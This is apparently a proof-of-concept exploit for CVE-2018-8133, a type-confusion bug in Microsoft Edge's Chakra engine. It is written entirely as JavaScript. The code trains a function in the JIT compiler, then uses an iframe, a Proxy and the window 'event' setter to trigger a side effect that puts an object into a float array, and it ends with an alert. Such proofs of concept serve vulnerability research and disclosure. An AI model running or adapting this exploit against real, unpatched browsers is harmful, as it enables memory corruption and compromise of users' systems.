Microsoft Edge: Chakra: EntrySimpleObjectSlotGetter can have side effects(CVE-2018-8133)

                                                function opt(w, arr) {
    arr[0] = 1.1;
    let res = w.event;
    arr[0] = 2.3023e-320;
    return res;
}

function main() {
    let f = document.body.appendChild(document.createElement('iframe'));
    f.contentWindow;

    for (let i = 0; i < 100000; i++) {
        opt(window, [1.1]);
    }

    let set_callback = new f.contentWindow.Function('callback', `
        window.__lookupSetter__('event').call(parent, new Proxy({}, {
            getPrototypeOf() {
                callback();
                return {};
            }
        }));`);

    let arr = [1.1];
    set_callback(() => {
        arr[0] = {};
    });

    opt(window, arr);
    alert(arr);
}

main();